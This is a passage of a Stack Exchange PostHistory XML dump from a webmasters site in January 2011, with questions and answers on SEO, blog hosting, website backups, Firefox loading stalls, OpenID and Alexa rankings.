it's possible to fudge the results yourself by installing the toolbar and visiting your own site regularly." />
  <row Id="14915" PostHistoryTypeId="5" PostId="7373" RevisionGUID="7ebd4bbc-4ba7-4c0b-bfc6-109628fa3ffd" CreationDate="2011-01-05T17:19:03.447" UserId="3307" Comment="added 116 characters in body" Text="Are you looking for self hosting or hosting on someone else's server?&#xD;&#xA;&#xD;&#xA;The reason that I ask is because if you host it yourself, then you can do pretty much anything you want. If you host on someone else's servers and its free, chances are that they'd want to make some sort of money from your blog so the money from the ads would more than likely go to them.&#xD;&#xA;&#xD;&#xA;If you go down the self hosted route, [Wordpress][1] tends to be a firm favourite.&#xD;&#xA;&#xD;&#xA;If you want someone else to host it you have quite a large choice from [Wordpress.com][2], [Posterous][3], [Tumblr][4], [Blogger][5]. However, I'm 99% certain that none of these sites let you make money of adwords, since they are free to start with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org&#xD;&#xA;  [2]: http://www.wordpress.com&#xD;&#xA;  [3]: http://www.posterous.com&#xD;&#xA;  [4]: http://www.tumblr.com&#xD;&#xA;  [5]: http://www.blogger.com" />
  <row Id="14919" PostHistoryTypeId="2" PostId="7381" RevisionGUID="289a7459-7194-4a92-8141-475ed4abf129" CreationDate="2011-01-05T17:28:33.010" UserId="2656" Text="Based on the screenshot that you posted, you just need to know the correct path of the command that you are trying to run.  It's possible that you just need to remove the leading '/' from your command and the path that you specify after `-app`.  This assumes that your host sets up the cronjob to run as your user and that your public_html directory has its root in your home directory." />
  <row Id="14920" PostHistoryTypeId="2" PostId="7382" RevisionGUID="2529dace-5caf-433a-afa9-1b4f59905214" CreationDate="2011-01-05T17:40:10.660" UserId="4378" Text="I have a webpage that loads quickly 100% of the time in chrome, but only 10% or so of the time in Firefox.  Looking at the fiddler capture, Firefox only loads 2 of the 100ish files being pulled before it hangs.  The error does not seem to be on the server or network side, however, because Chrome never encounters a problem.&#xD;&#xA;&#xD;&#xA;How do I find the root of this stall?&#xD;&#xA;&#xD;&#xA;While I suspect Firefox's javascript execution is what is causing the hang, are there any particular methods to narrow down the search for the bad code?" />
  <row Id="14921" PostHistoryTypeId="1" PostId="7382" RevisionGUID="2529dace-5caf-433a-afa9-1b4f59905214" CreationDate="2011-01-05T17:40:10.660" UserId="4378" Text="Firefox stalls on rendering when chrome doesn't" />
  <row Id="14922" PostHistoryTypeId="3" PostId="7382" RevisionGUID="2529dace-5caf-433a-afa9-1b4f59905214" CreationDate="2011-01-05T17:40:10.660" UserId="4378" Text="&lt;firefox&gt;&lt;chrome&gt;" />
  <row Id="14923" PostHistoryTypeId="2" PostId="7383" RevisionGUID="342f462a-5678-4554-b459-465bc2213db4" CreationDate="2011-01-05T17:43:15.117" UserId="4379" Text="We're working on a site and have come to a choice between one long (not too excessive) main page and several subpages.  &#xD;&#xA;&#xD;&#xA;The subpages would have custom metas/titles/h2 tags and the content that corresponds to them.&#xD;&#xA;&#xD;&#xA;The main page would have all the content and many more inbound links (pagerank) and with longer content encompassing the content we'd put on the shorter pages.&#xD;&#xA;&#xD;&#xA;Which would be better for seo and traffic in general?  Both schemes are very usable to the user although we are a little concerned with duplicate content (the page's header/footer and other elements remain the same)" />
  <row Id="14924" PostHistoryTypeId="1" PostId="7383" RevisionGUID="342f462a-5678-4554-b459-465bc2213db4" CreationDate="2011-01-05T17:43:15.117" UserId="4379" Text="SEO one longer page vs. several targeted subpages?" />
  <row Id="14925" PostHistoryTypeId="3" PostId="7383" RevisionGUID="342f462a-5678-4554-b459-465bc2213db4" CreationDate="2011-01-05T17:43:15.117" UserId="4379" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="14926" PostHistoryTypeId="2" PostId="7384" RevisionGUID="04dcd23c-13eb-4d8a-9fa3-92fc1d8c18f3" CreationDate="2011-01-05T18:08:26.950" UserId="4367" Text="I tend to go with multiple smaller pages. You don't need to worry about duplicate content in the header and footer, Google and other search engines are aware that some content gets replicated through every page.&#xD;&#xA;&#xD;&#xA;The nice thing about smaller pages is that the content is focused on that one subject. If you have a whole site worth of content on one page I think search engines would be find it difficult to find out what the page is about. They might not rank it as highly as a concise shorter page that only talks about one subject." />
  <row Id="14927" PostHistoryTypeId="2" PostId="7385" RevisionGUID="be8d6eee-0dc8-4a76-b2a5-baf869d05fed" CreationDate="2011-01-05T18:09:03.147" UserId="2293" Text="I wouldn't say bad code, but bad design. Are you serious when you say that have more than 100 files to only one page?&#xD;&#xA;&#xD;&#xA;Using image sprites, only one css file, using a nice javascript library and compressing other scripts... You need to think how to deliver the minimum to client, hence each extra request takes extra time.&#xD;&#xA;&#xD;&#xA;But okay, your problem seems to be with js loading stuff on Firefox. Install the Firebug addon and keep an eye on network tab to check what is going on and catch the error on the fly." />
  <row Id="14928" PostHistoryTypeId="2" PostId="7386" RevisionGUID="4d736cc1-630e-426c-a3f2-f0eaed09f4ed" CreationDate="2011-01-05T18:26:29.453" UserId="1253" Text="If you have only one web page then it will most likely cover several topics and thus not be focused on any one topic. This will make it more difficult to get that page to rank well for one specific topic (you only get one page title, one h1, etc). If you break it down into multiple pages you will be able to focus each page on a specific topic. Additionally, interlinking your pages will also give you a (very) small boost as you will have the advantage of anchor text and PR transfer.&#xD;&#xA;&#xD;&#xA;FYI, having the same header and footer does not count as duplicate content. If it did every website would have only one page in the index. Duplicate content only applies to the actual content on the pages." />
  <row Id="14929" PostHistoryTypeId="2" PostId="7387" RevisionGUID="6ce96d08-114f-43f7-bb23-a4441ef624f9" CreationDate="2011-01-05T18:43:13.997" UserId="4383" Text="http://playnice.ly/blog/2011/01/03/multi-domain-ucc-ssl-certificates-on-nginx-with-1-ip-address/" />
  <row Id="14930" PostHistoryTypeId="2" PostId="7388" RevisionGUID="ea68d28c-3eb7-44bd-ac9a-848e21f0e927" CreationDate="2011-01-05T20:47:37.867" UserId="1424" Text="Do you usually perform a daily backup of websites of small local business ?&#xD;&#xA;Isn't a monthly backup more appropriate ?&#xD;&#xA;" />
  <row Id="14931" PostHistoryTypeId="1" PostId="7388" RevisionGUID="ea68d28c-3eb7-44bd-ac9a-848e21f0e927" CreationDate="2011-01-05T20:47:37.867" UserId="1424" Text="Daily / Monthly websites backups ?" />
  <row Id="14932" PostHistoryTypeId="3" PostId="7388" RevisionGUID="ea68d28c-3eb7-44bd-ac9a-848e21f0e927" CreationDate="2011-01-05T20:47:37.867" UserId="1424" Text="&lt;backups&gt;" />
  <row Id="14934" PostHistoryTypeId="2" PostId="7389" RevisionGUID="46adae5c-0e47-4295-89d6-558fc7c1c5c1" CreationDate="2011-01-05T20:57:03.513" UserDisplayName="Fabian" Text="We do daily backups, just because there's not really a big difference between daily or weekly or monthly except a little change in the crontab and the amount of data that's lost in the case of a problem. :-)&#xD;&#xA;&#xD;&#xA;Database dump, and then the whole directory where the site + dump resides gets rsnapshot'ed to another server. Takes a few seconds each night, doesn't cost me a dime, but I can sleep at night.&#xD;&#xA;&#xD;&#xA;A backup that requires any manual action should be reconsidered. Automate everything, and use the available tools (rsync, etc.) and you'll be able to do daily backups without any sweat.&#xD;&#xA;&#xD;&#xA;Your customers **will** like it." />
  <row Id="14935" PostHistoryTypeId="2" PostId="7390" RevisionGUID="29f9689c-0c75-4cba-a227-0b6f66a3372b" CreationDate="2011-01-05T22:11:33.713" UserId="661" Text="1. Since you are using Heroku, start with their [custom domain documentation][1]. Actually, that is really rather comprehensive, so I'd stop with them too.&#xD;&#xA;2. You have hosting already. You might want to find one that will do email hosting for you (although I don't know how well that will play with Zerigo DNS, so you might need to use your domain registrar's DNS service).&#xD;&#xA;3. Given the horror stories I've head about Godaddy — not them. I've been happy with Easily.co.uk.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.heroku.com/custom-domains" />
  <row Id="14936" PostHistoryTypeId="2" PostId="7391" RevisionGUID="c246444f-bc4d-4d54-bba1-e7f79597f1ca" CreationDate="2011-01-05T23:05:31.397" UserId="2312" Text="I have a website which title I changed about a month ago.&#xD;&#xA;The website is a classifieds website which is dynamic, using php.&#xD;&#xA;&#xD;&#xA;The title changed from &quot;**Free classifieds**&quot; to &quot;**buy and sell free classifieds**&quot;.&#xD;&#xA;&#xD;&#xA;The strange part is that after about two weeks the title showed in google search results changed to the new title, BUT when I searched for &quot;**buy and sell free classifieds**&quot; my website didn't show up at all. I mean I have gone through over 30 pages of search results and my site isn't listed.&#xD;&#xA;&#xD;&#xA;However, searching for &quot;**free classifieds**&quot; still display my website at the same position it was before the title change.&#xD;&#xA;&#xD;&#xA;Any reason for this?&#xD;&#xA;How patient should I be?&#xD;&#xA;&#xD;&#xA;FYI the website has a sitemap submitted and updated, good meta tags and is W3 valid etc etc, so that is not the problem here.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="14937" PostHistoryTypeId="1" PostId="7391" RevisionGUID="c246444f-bc4d-4d54-bba1-e7f79597f1ca" CreationDate="2011-01-05T23:05:31.397" UserId="2312" Text="How long before Google will update search terms matching my website?" />
  <row Id="14938" PostHistoryTypeId="3" PostId="7391" RevisionGUID="c246444f-bc4d-4d54-bba1-e7f79597f1ca" CreationDate="2011-01-05T23:05:31.397" UserId="2312" Text="&lt;php&gt;&lt;html&gt;&lt;search&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="14939" PostHistoryTypeId="17" PostId="7391" RevisionGUID="c47d0114-9269-452e-9724-26707a71370c" CreationDate="2011-01-05T23:21:54.490" UserId="-1" Comment="from http://stackoverflow.com/questions/4610126/how-long-before-google-will-update-search-terms-matching-my-website" Text="" />
  <row Id="14940" PostHistoryTypeId="4" PostId="7364" RevisionGUID="cdc484b7-f8da-4f16-b8e8-3ab7240e5bec" CreationDate="2011-01-05T23:29:37.687" UserDisplayName="imez" Comment="edited title" Text="what do mean &quot;renewal domain&quot; for free service?" />
  <row Id="14941" PostHistoryTypeId="2" PostId="7392" RevisionGUID="0eb8c378-13ee-496e-a076-325b7dd203f7" CreationDate="2011-01-05T23:39:48.510" UserId="4388" Text="Here are a few details at the bottom of this page http://www.arailsdemo.com/posts/9.&#xD;&#xA;&#xD;&#xA;I was also in your situation and never bought a domain name before. I went with namecheap.com and haven't had any problems. " />
  <row Id="14942" PostHistoryTypeId="2" PostId="7393" RevisionGUID="c3bad133-b220-4376-8d43-254245436740" CreationDate="2011-01-06T03:04:52.543" UserId="233" Text="This page suggests it could be some form of hash of the URL: http://drupal.org/node/606328#comment-2945348&#xD;&#xA;&#xD;&#xA;It's possibly some kind of security thing, just used privately by Google." />
  <row Id="14943" PostHistoryTypeId="2" PostId="7394" RevisionGUID="50d933d2-7424-4201-8d89-f459f988157b" CreationDate="2011-01-06T03:23:56.343" UserId="3033" Text="Do you know any Key Performance Indicators for Webmasters? What should be measured and monitored?&#xD;&#xA;" />
  <row Id="14944" PostHistoryTypeId="1" PostId="7394" RevisionGUID="50d933d2-7424-4201-8d89-f459f988157b" CreationDate="2011-01-06T03:23:56.343" UserId="3033" Text="KPI's for Webmasters" />
  <row Id="14945" PostHistoryTypeId="3" PostId="7394" RevisionGUID="50d933d2-7424-4201-8d89-f459f988157b" CreationDate="2011-01-06T03:23:56.343" UserId="3033" Text="&lt;performance&gt;" />
  <row Id="14946" PostHistoryTypeId="6" PostId="7391" RevisionGUID="b22419c9-fc5c-4c85-a78c-2057e3ad050b" CreationDate="2011-01-06T03:27:13.610" UserId="1253" Comment="Removed &quot;php html&quot; tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search&gt;" />
  <row Id="14947" PostHistoryTypeId="2" PostId="7395" RevisionGUID="d5663fee-006f-45ef-a55d-e44dcc924a94" CreationDate="2011-01-06T05:01:23.247" UserId="4392" Text="I feel, you can consider the following points&#xD;&#xA;&#xD;&#xA; 1. Make sure there are no Errors in google webmasters login for the website&#xD;&#xA; 2. No Broken links&#xD;&#xA; 3. How many page views(this will be a bench mark for any webmaster)" />
  <row Id="14948" PostHistoryTypeId="2" PostId="7396" RevisionGUID="1b43459d-8daa-4d7b-8a68-efa45982b8a0" CreationDate="2011-01-06T05:05:15.477" UserId="4392" Text="30000 visits with 86000 pageviews, if there is a bounce rate of 54%, then does it means only 15000 users generated the 86000 page views or 30000 visits generated the 86000 page views.&#xD;&#xA;&#xD;&#xA;My website is www.cricandcric.com&#xD;&#xA;&#xD;&#xA;Even though i have got 86000 page views, my site alexa ranking is still reducing day by day. can any one suggest how to control that?&#xD;&#xA;" />
  <row Id="14949" PostHistoryTypeId="1" PostId="7396" RevisionGUID="1b43459d-8daa-4d7b-8a68-efa45982b8a0" CreationDate="2011-01-06T05:05:15.477" UserId="4392" Text="bounce rate and Alexa ranking clarifications" />
  <row Id="14950" PostHistoryTypeId="3" PostId="7396" RevisionGUID="1b43459d-8daa-4d7b-8a68-efa45982b8a0" CreationDate="2011-01-06T05:05:15.477" UserId="4392" Text="&lt;google&gt;&lt;alexa&gt;" />
  <row Id="14951" PostHistoryTypeId="2" PostId="7397" RevisionGUID="a25f4d88-205e-462e-beef-18afcbe63625" CreationDate="2011-01-06T05:53:33.363" UserId="4393" Text="**What are the best free CMSs or CMS plugins or ERPs or any other free tools available for developing a hospital management system?**&#xD;&#xA;&#xD;&#xA;I want to develop it for a children's hospital run by my father. The hospital is small with two doctors. Currently, everything is done manually on paper. The main entities who will be using the system are: Receptionist, the two doctors, chemist and the medical laboratorist. They will use it majorly for keeping the records of the patient. The patients would not be interacting with the system directly. The system needs to be user friendly and should be easy to learn.&#xD;&#xA;I was thinking to develop such a system using a CMS or an ERP or any other free tool. I have used wordpress/drupal in past but never used an ERP. Can you please guide me to make such a system using free, and preferably open source, tools?&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Akshey" />
  <row Id="14952" PostHistoryTypeId="1" PostId="7397" RevisionGUID="a25f4d88-205e-462e-beef-18afcbe63625" CreationDate="2011-01-06T05:53:33.363" UserId="4393" Text="CMSs &amp; ERPs for hospital management system" />
  <row Id="14953" PostHistoryTypeId="3" PostId="7397" RevisionGUID="a25f4d88-205e-462e-beef-18afcbe63625" CreationDate="2011-01-06T05:53:33.363" UserId="4393" Text="&lt;cms&gt;" />
  <row Id="14954" PostHistoryTypeId="2" PostId="7398" RevisionGUID="5377957b-42f8-47e5-bd10-7b0c132549a5" CreationDate="2011-01-06T05:58:06.523" UserDisplayName="Website Backup" Text="The rhythm of backups depends of the rhythm of the website update : new content, updated content, scripts updates... The less resources consuming is to apply different delay to your website parts.&#xD;&#xA;&#xD;&#xA;For example a page with a photo is added 2 times a week you can do a database, and images folder backup every 3 days. You update script plugins every month, you do a backup of your plugins directory every month.&#xD;&#xA;&#xD;&#xA;There are tools like [Website 2 Backup][1] to do automated, encrypted and selected website files and databases backups stored on email, ftp, or on web hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://website2backup.com" />
  <row Id="14955" PostHistoryTypeId="2" PostId="7399" RevisionGUID="260a09eb-e784-4d61-a468-02c23cfce823" CreationDate="2011-01-06T06:36:19.843" UserId="4394" Text="I run a website that's been around for about three years in the sports space. I am successfully ranking well for targeted keywords, but searching for the name of my site itself returns very poor results - it shows my site, its FB/Twitter, and then *15 pages* of unrelated spam that happen to contain two words that, when combined, form my website's name. After that, my backlinks begin to show up spordically.&#xD;&#xA;&#xD;&#xA;As far as I can tell, I simply don't have enough backlinks and the backlinks I do have are ranked worse than the spam. (Site Explorer lists 200 external links to any page on our domain and 20 external links directly to the front page).&#xD;&#xA;&#xD;&#xA;To counter this, my strategy is to promote my backlinks so they get a better page rank than the spam. Does that make sense? Am I going in the right direction or should I just focus on getting more backlinks pointing directly to my site?&#xD;&#xA;&#xD;&#xA;Thanks in advance and I'd be happy to answer any questions I can (without giving away my site of course).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14956" PostHistoryTypeId="1" PostId="7399" RevisionGUID="260a09eb-e784-4d61-a468-02c23cfce823" CreationDate="2011-01-06T06:36:19.843" UserId="4394" Text="SEO: Is promoting your backlinks a good strategy for improving search results for my site's name?" />
  <row Id="14957" PostHistoryTypeId="3" PostId="7399" RevisionGUID="260a09eb-e784-4d61-a468-02c23cfce823" CreationDate="2011-01-06T06:36:19.843" UserId="4394" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="14958" PostHistoryTypeId="2" PostId="7400" RevisionGUID="956c8d6d-bbbf-49d5-91fb-431dd0feb712" CreationDate="2011-01-06T06:59:19.080" UserId="4392" Text="I Want to add to the above statements from my Personal and own experience, Alexa ranking is not that reliable to determine whether your site is doing good or not" />
  <row Id="14959" PostHistoryTypeId="2" PostId="7401" RevisionGUID="4625616b-14be-4473-bf5e-c9665311e48d" CreationDate="2011-01-06T07:40:53.470" UserId="1064" Text="You've stated that you already rank first for your own name - why would you want to promote other peoples' sites if you're already ranked first for your own name *and* for targeted terms?&#xD;&#xA;&#xD;&#xA;Users who search on your name can already find your site (I'll bet that users searching on your site's name are using their search toolbar instead of the address bar in their browser - they're probably not first-time visitors who might mistakenly click on spammy search results) and users who search on targeted terms can already find your site - congratulations, sounds like a job well *done*." />
  <row Id="14960" PostHistoryTypeId="2" PostId="7402" RevisionGUID="7b33aa45-6f50-42e2-acb4-e24fd414d374" CreationDate="2011-01-06T08:20:52.163" UserId="3467" Text="Don't waste your time trying to boost websites that aren't yours. Instead, focus on getting more backlinks from sites with higher reputation." />
  <row Id="14961" PostHistoryTypeId="5" PostId="7373" RevisionGUID="9c3dea1d-25b6-4307-8c52-14a1183502c8" CreationDate="2011-01-06T09:29:59.920" UserId="3307" Comment="added 88 characters in body" Text="Are you looking for self hosting or hosting on someone else's server?&#xD;&#xA;&#xD;&#xA;The reason that I ask is because if you host it yourself, then you can do pretty much anything you want. If you host on someone else's servers and its free, chances are that they'd want to make some sort of money from your blog so the money from the ads would more than likely go to them.&#xD;&#xA;&#xD;&#xA;If you go down the self hosted route, [Wordpress][1] tends to be a firm favourite.&#xD;&#xA;&#xD;&#xA;If you want someone else to host it you have quite a large choice from [Wordpress.com][2], [Posterous][3], [Tumblr][4], [Blogger][5]. However, I'm 99% certain that none of these sites let you make money of adwords, since they are free to start with.&#xD;&#xA;&#xD;&#xA;**Edit** &#xD;&#xA;&#xD;&#xA;As stated below, blogger allows you to monetize your blog with adsense.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org&#xD;&#xA;  [2]: http://www.wordpress.com&#xD;&#xA;  [3]: http://www.posterous.com&#xD;&#xA;  [4]: http://www.tumblr.com&#xD;&#xA;  [5]: http://www.blogger.com" />
  <row Id="14962" PostHistoryTypeId="2" PostId="7403" RevisionGUID="f99038ae-09bf-40e6-980b-d34379927514" CreationDate="2011-01-06T09:34:27.807" UserId="798" Text="SugarCRM may be an option. Contact information is fairly easy to change." />
  <row Id="14963" PostHistoryTypeId="2" PostId="7404" RevisionGUID="5de3abfa-ba19-433b-9ad9-b9a2d7a26815" CreationDate="2011-01-06T09:53:50.627" UserId="4395" Text="There are many font banks out there. But where I can fonts with polish characters ?" />
  <row Id="14964" PostHistoryTypeId="1" PostId="7404" RevisionGUID="5de3abfa-ba19-433b-9ad9-b9a2d7a26815" CreationDate="2011-01-06T09:53:50.627" UserId="4395" Text="Embedded fonts with polish characters." />
  <row Id="14965" PostHistoryTypeId="3" PostId="7404" RevisionGUID="5de3abfa-ba19-433b-9ad9-b9a2d7a26815" CreationDate="2011-01-06T09:53:50.627" UserId="4395" Text="&lt;css&gt;&lt;embed&gt;&lt;typography&gt;&lt;fonts&gt;" />
  <row Id="14966" PostHistoryTypeId="2" PostId="7405" RevisionGUID="48553bfd-a33c-4644-a542-2da2cd3e7c6e" CreationDate="2011-01-06T11:25:04.660" UserId="3610" Text="I have organised my site by language using the following structure:&#xD;&#xA;&#xD;&#xA;    www.domain.com    #spanish language version&#xD;&#xA;    www.domain.com/en #english language version&#xD;&#xA;&#xD;&#xA;The site is of Spanish subject matter hence Spanish language takes priority at root of domain. Although the site is new at this stage I would hope visiting from google.com and google.es would return English and Spanish versions respectively.&#xD;&#xA;&#xD;&#xA;Are there any particular steps I need take to separate the two. Should I add them both as individual sites in Google's webmaster tools and also should I submit individual site maps for each 'site' or as a whole? &#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="14967" PostHistoryTypeId="1" PostId="7405" RevisionGUID="48553bfd-a33c-4644-a542-2da2cd3e7c6e" CreationDate="2011-01-06T11:25:04.660" UserId="3610" Text="Have search engines recognise multi-lingual sites " />
  <row Id="14968" PostHistoryTypeId="3" PostId="7405" RevisionGUID="48553bfd-a33c-4644-a542-2da2cd3e7c6e" CreationDate="2011-01-06T11:25:04.660" UserId="3610" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;multilingual&gt;" />
  <row Id="14969" PostHistoryTypeId="2" PostId="7406" RevisionGUID="6fde5775-ad2d-4e1e-883e-d16b73338e3d" CreationDate="2011-01-06T11:29:48.010" UserDisplayName="Paul" Text="Meta Descriptions also affect Click Through Rate (CTR) from the search results so a unique and relevant description can affect traffic for those pages ranked in the search engines" />
  <row Id="14970" PostHistoryTypeId="17" PostId="7408" RevisionGUID="cfb20005-ceab-4604-93b7-1a7f2f9d0d6f" CreationDate="2011-01-06T13:47:57.320" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10963/how-to-implement-openid-authentication-for-my-site/10965#10965" Text="" />
  <row Id="14971" PostHistoryTypeId="2" PostId="7408" RevisionGUID="3dbf4add-39c2-48a4-bbc0-3d22019fa484" CreationDate="2011-01-05T12:06:08.683" UserId="3903" Text="check out the following page. Gives a run down on the open id libraries out and about depending on your platform.&#xD;&#xA;&#xD;&#xA;http://wiki.openid.net/w/page/12995176/Libraries" />
  <row Id="14972" PostHistoryTypeId="2" PostId="7407" RevisionGUID="5b515929-99ac-4fd1-a333-b19ece21d5e0" CreationDate="2011-01-05T11:06:16.210" UserDisplayName="michelemarcon" Text="I want to offer OpenID authentication for my users (please note that I do not necessary want to become an OpenID provider; I just need to authenticate my user for my website).&#xD;&#xA;&#xD;&#xA;How to implement OpenID authentication for my site?&#xD;&#xA;&#xD;&#xA;What are the requirements?" />
  <row Id="14973" PostHistoryTypeId="1" PostId="7407" RevisionGUID="5b515929-99ac-4fd1-a333-b19ece21d5e0" CreationDate="2011-01-05T11:06:16.210" UserDisplayName="michelemarcon" Text="How to implement OpenID authentication for my site?" />
  <row Id="14974" PostHistoryTypeId="3" PostId="7407" RevisionGUID="5b515929-99ac-4fd1-a333-b19ece21d5e0" CreationDate="2011-01-05T11:06:16.210" UserDisplayName="michelemarcon" Text="&lt;openid&gt;&lt;authentication&gt;" />
  <row Id="14975" PostHistoryTypeId="17" PostId="7407" RevisionGUID="87a0bd6f-4a2e-42a5-8710-861e6e990be2" CreationDate="2011-01-06T13:47:57.320" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10963/how-to-implement-openid-authentication-for-my-site" Text="" />
  <row Id="14976" PostHistoryTypeId="2" PostId="7409" RevisionGUID="e4987319-589d-4dfb-bdd2-bf26a735d929" CreationDate="2011-01-06T14:08:26.463" UserId="1253" Text="If you want your Alexa ranking to go up just install the toolbar and visit your site every day. If you want it to go up higher have your friends do the same thing.&#xD;&#xA;&#xD;&#xA;FYI, Alexa's rating is inaccurate and useless. It's the last thing you should be worrying about. Why not focus your time and attention on something that actually matters and will improve your website and actually bring in traffic?" />
  <row Id="14977" PostHistoryTypeId="17" PostId="7411" RevisionGUID="73bac7b0-b07d-4c82-9918-5f173153b987" CreationDate="2011-01-06T15:08:47.287" UserId="-1" Comment="from http://stackoverflow.com/questions/4584960/building-a-website/4585239#4585239" Text="" />
  <row Id="14978" PostHistoryTypeId="17" PostId="7412" RevisionGUID="3adbec01-94af-423a-9373-37339c83f717" CreationDate="2011-01-06T15:08:47.287" UserId="-1" Comment="from http://stackoverflow.com/questions/4584960/building-a-website/4598016#4598016" Text="" />
  <row Id="14979" PostHistoryTypeId="2" PostId="7411" RevisionGUID="df5223fd-e4a5-4a8c-8f42-0ca945ffd776" CreationDate="2011-01-03T14:26:25.543" UserDisplayName="Tom B" Text="I would recommend you use [Visual Studio Express][1] since you are already familiar with Visual Studio.  Find a host whose prices and services appeal to you.  [GoDaddy][2], [DiscountASP][3] are a couple I've used in the past.  If I recall Visual Studio Express also has recommended providers as well.&#xD;&#xA;&#xD;&#xA;Build your page just like you would at work, on your local machine, then when you are ready, right click the project and choose &quot;Publish Web Site&quot; -- Visual Studio will require you to enter some publishing information (all of which your provider will have given you) then publish the site for you.&#xD;&#xA;&#xD;&#xA;I've found that the providers have excellent support pages, FAQs and support staff.  When you run into a problem, and you likely will, send in a support request and they'll get back to you quickly.&#xD;&#xA;&#xD;&#xA;Visual Studio Express comes with a number of templates that you can use to get started.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/express/Web/&#xD;&#xA;  [2]: http://www.godaddy.com&#xD;&#xA;  [3]: http://www.discountasp.net" />
  <row Id="14980" PostHistoryTypeId="2" PostId="7412" RevisionGUID="dba8c6c1-ef3f-4466-ac67-20b305f7fc13" CreationDate="2011-01-04T20:18:32.847" UserDisplayName="donkim" Text="I've had a great experience building on Google App Engine. Free hosting, great integration with GoDaddy (for custom domains), a great one-stop shop for simple sites. Granted, you have to use Python or Java, but it's fairly easy to walk through the tutorial and get a good grasp of the platform (especially with Python).&#xD;&#xA;&#xD;&#xA;Hope this helps!" />
  <row Id="14981" PostHistoryTypeId="2" PostId="7410" RevisionGUID="48e57de0-2761-4824-913b-ba193c4e4638" CreationDate="2011-01-03T13:49:32.197" UserDisplayName="Ant" Text="A couple of my friends run a business and they asked me to build them a public website. It will only be used for information about the company with soe pictures. No transactions will be involved. Right now I work for a company where I build internal websites, and do alot of backend programming in C#. I understand html, css, jquery, etc. so I feel like I am completely capable of building a website for them.&#xD;&#xA;&#xD;&#xA;However, I do not know all the basic knowledge to building one. For example, where should we host the files, what type of security issues do I need to be aware of, what's the best software to use for developing websites (I use visual studio at work), where can I find some design techniques, etc.&#xD;&#xA;&#xD;&#xA;Any help is appreciated.&#xD;&#xA;" />
  <row Id="14982" PostHistoryTypeId="1" PostId="7410" RevisionGUID="48e57de0-2761-4824-913b-ba193c4e4638" CreationDate="2011-01-03T13:49:32.197" UserDisplayName="Ant" Text="building a website" />
  <row Id="14983" PostHistoryTypeId="3" PostId="7410" RevisionGUID="48e57de0-2761-4824-913b-ba193c4e4638" CreationDate="2011-01-03T13:49:32.197" UserDisplayName="Ant" Text="&lt;web-development&gt;&lt;web&gt;&lt;websites&gt;" />
  <row Id="14984" PostHistoryTypeId="17" PostId="7410" RevisionGUID="9a183a64-208b-4218-800b-8f909a117d53" CreationDate="2011-01-06T15:08:47.287" UserId="-1" Comment="from http://stackoverflow.com/questions/4584960/building-a-website" Text="" />
  <row Id="14985" PostHistoryTypeId="2" PostId="7413" RevisionGUID="d3122120-c936-4d18-9976-edbf3d9485b7" CreationDate="2011-01-06T15:26:13.197" UserId="4404" Text="Yes, they do.&#xD;&#xA;&#xD;&#xA;Although each search engine is different, the obvious ones (Google, Bing) do use language recognition algorithms. A clear example is when you visit a foreign site on Google Chrome the browser will recognise the language is not your own and will ask you whether you want to translate it.&#xD;&#xA;&#xD;&#xA;Having said that, language and country aer very different things. If you want to geotarget directiories of your site to specific countries (eg: www.domain.com/fr to France) then you will have to set these on Google Webmaster Tools and Bing Webmaster Tools. Or alternatively, buy a ccTLD (such as domain.fr)&#xD;&#xA;&#xD;&#xA;Hope that helps." />
  <row Id="14986" PostHistoryTypeId="2" PostId="7414" RevisionGUID="dd0bc332-6341-4edf-8ac3-976d1ea639e1" CreationDate="2011-01-06T15:40:46.233" UserId="233" Text="It can take anywhere from a few hours to a few months. It depends on many factors, including how popular the page is (and how many links point to it) and how often the page itself is updated (less frequent updates = less frequent crawling).&#xD;&#xA;&#xD;&#xA;Although Google has found the new title it may not have updated its actual index that would list your site for the new terms. It's also possible that &quot;buy and sell free classifieds&quot; has more competition that simply &quot;free classifieds&quot; which pushes your site down further.&#xD;&#xA;&#xD;&#xA;You should just keep an eye on it for a few more weeks and see what happens. Perhaps add &quot;buy and sell&quot; a few more times within the page if it's appropriate. Don't forget to keep and eye on your &quot;Free classifieds&quot; ranking too, because there's a small chance it could fall a few places now you have &quot;diluted&quot; the page title." />
  <row Id="14987" PostHistoryTypeId="2" PostId="7415" RevisionGUID="784277a6-522d-494b-b52c-52fb48f312ff" CreationDate="2011-01-06T16:00:02.550" UserId="2312" Text="I updated a page title a couple of weeks ago, and just yesterday I saw the google cache the updated title.&#xD;&#xA;&#xD;&#xA;However, in the search results, the old title is still displayed.&#xD;&#xA;&#xD;&#xA;This confuses me as I thought first the search results are updated, then the cache.&#xD;&#xA;&#xD;&#xA;Anybody can explain this?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="14988" PostHistoryTypeId="1" PostId="7415" RevisionGUID="784277a6-522d-494b-b52c-52fb48f312ff" CreationDate="2011-01-06T16:00:02.550" UserId="2312" Text="Google cache has been updated but not the real search results; How come?" />
  <row Id="14989" PostHistoryTypeId="3" PostId="7415" RevisionGUID="784277a6-522d-494b-b52c-52fb48f312ff" CreationDate="2011-01-06T16:00:02.550" UserId="2312" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;html&gt;" />
